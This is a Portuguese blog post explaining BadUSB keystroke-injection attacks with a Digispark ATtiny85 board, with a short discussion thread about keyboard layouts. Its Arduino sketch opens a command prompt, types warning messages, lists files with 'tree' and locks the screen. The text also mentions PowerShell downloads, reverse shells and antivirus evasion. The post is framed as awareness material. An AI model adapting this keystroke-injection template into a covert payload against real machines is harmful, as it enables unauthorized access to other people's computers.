O BadUSB é um dispositivo que ao ser conectado na porta USB do computador já efetua o ataque.
Não é necessário que o usuário execute e nem clique em nada.
Esses dispositivos quando conectados no computador, podem ser reconhecidos pelo sistema operacional como um teclado e/ou mouse e, dessa forma, controlar a entrada de dados no computador, enviando comandos de teclas pressionadas e movimentos e cliques do mouse.
Assim, é possível criar, copiar e excluir arquivos. Realizar vários tipos de procedimentos no computador atacado.
O dispositivo pode, por exemplo, gerar um script PowerShell e baixar arquivos da internet ou criar um Shell Reverso para realizar um ataque online posteriormente.
Neste exemplo, utilizei a placa Digispark que possui o microcontrolador Attiny85.
A placa já possui o formato para encaixar direto na USB. É pequena e muito barata, pensando nas possibilidades de coisas que podemos inventar com ela.
Também existe o modelo com conector Micro USB fêmea.
Possui as especificações:
- Microcontrolador Atmel Attiny85
- Memória flash: 8KB
- EEPROM: 512 bytes
- SRAM: 512 bytes
- 6 pinos de I/O (3 PWM)
- Tensão de operação: 5VDC (USB) – 7 à 35V (com alimentação externa)
- Interfaces I2C e SPI
- Conversor analógico digital em 4 pinos
Alguns antivírus conseguem identificar um possível ataque de BadUSB, porém é possível passar despercebido. Já realizei testes que o antivírus não pegou.
A melhor forma de proteção para esse tipo de ataque é não conectar dispositivos desconhecidos.
O hardware é muito pequeno e pode ser facilmente camuflado dentro de teclados, mouses e pendrives.
O exemplo desta postagem é simples porque a ideia não é desenvolver um malware para publicação.
Aprenda e use com responsabilidade. Para se proteger é preciso conhecer o ataque.
Segue o código fonte com comentários para melhor entendimento:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | /*--------------------------------------------------------- Programa : EXEMPLO DE BADUSB COM ATTINY85 Autor : Fellipe Couto [ http://www.efeitonerd.com.br ] Data : 22/04/2020 ---------------------------------------------------------*/ #include <DigiKeyboard.h> const int delayKey = 300; const int delayLong = 3000; void setup() { //Configura a porta 1 do LED da placa pinMode(1, OUTPUT); //Win + D DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); delay(delayKey); //Win + R DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(delayKey); //Prompt de comando DigiKeyboard.println("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(delayKey); //Desativa o echo de comando DigiKeyboard.println("@echo off"); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(delayKey); //Limpa tela DigiKeyboard.println("cls"); DigiKeyboard.sendKeyStroke(KEY_ENTER); //Tela cheia DigiKeyboard.sendKeyStroke(KEY_F11); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(delayKey); //Mensagem de texto Writing(" ACESSO AO COMPUTADOR REALIZADO!"); delay(delayLong); Writing(" VISUALIZANDO ARQUIVOS..."); delay(delayLong); DigiKeyboard.sendKeyStroke(KEY_ENTER); //Limpa tela DigiKeyboard.println("cls"); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(delayKey); //Lista arquivos DigiKeyboard.println("tree"); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(delayLong); //Ctrl + c (finaliza o comando em execução tree) DigiKeyboard.sendKeyStroke(KEY_C, MOD_CONTROL_LEFT); delay(delayKey); //Limpa tela DigiKeyboard.println("cls"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(delayKey); //Mensagem de texto Writing(" CUIDADO COM DISPOSITIVOS DESCONHECIDOS NA USB!"); delay(delayLong); Writing(" ACESSO FINALIZADO."); delay(delayLong); DigiKeyboard.sendKeyStroke(KEY_ENTER); //Fecha o prompt de comando DigiKeyboard.println("exit"); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(delayKey); //Win + L (Bloqueia o computador) DigiKeyboard.sendKeyStroke(KEY_L, MOD_GUI_LEFT); //Liga o LED para indicar que o script foi finalizado digitalWrite(1, HIGH); } void loop() { } void Writing(String txt) { int len = txt.length(); for (int i = 0; i < len; i++) { DigiKeyboard.print(txt.substring(i, i + 1)); delay(35); } } |
Fellipe vc tem o mapa de caracteres do digispark, pois meus códigos só rodam em teclado americano...
ResponderExcluirBom dia! A função sendKeyStroke já utiliza as constantes da própria biblioteca (KEY_ENTER, KEY_C, KEY_D) [ https://github.com/digistump/DigisparkArduinoIntegration/tree/master/libraries/DigisparkKeyboard ]
ExcluirCom o println é possível já passar uma string. Passando uma string de uma posição representaria uma tecla. Seria isso?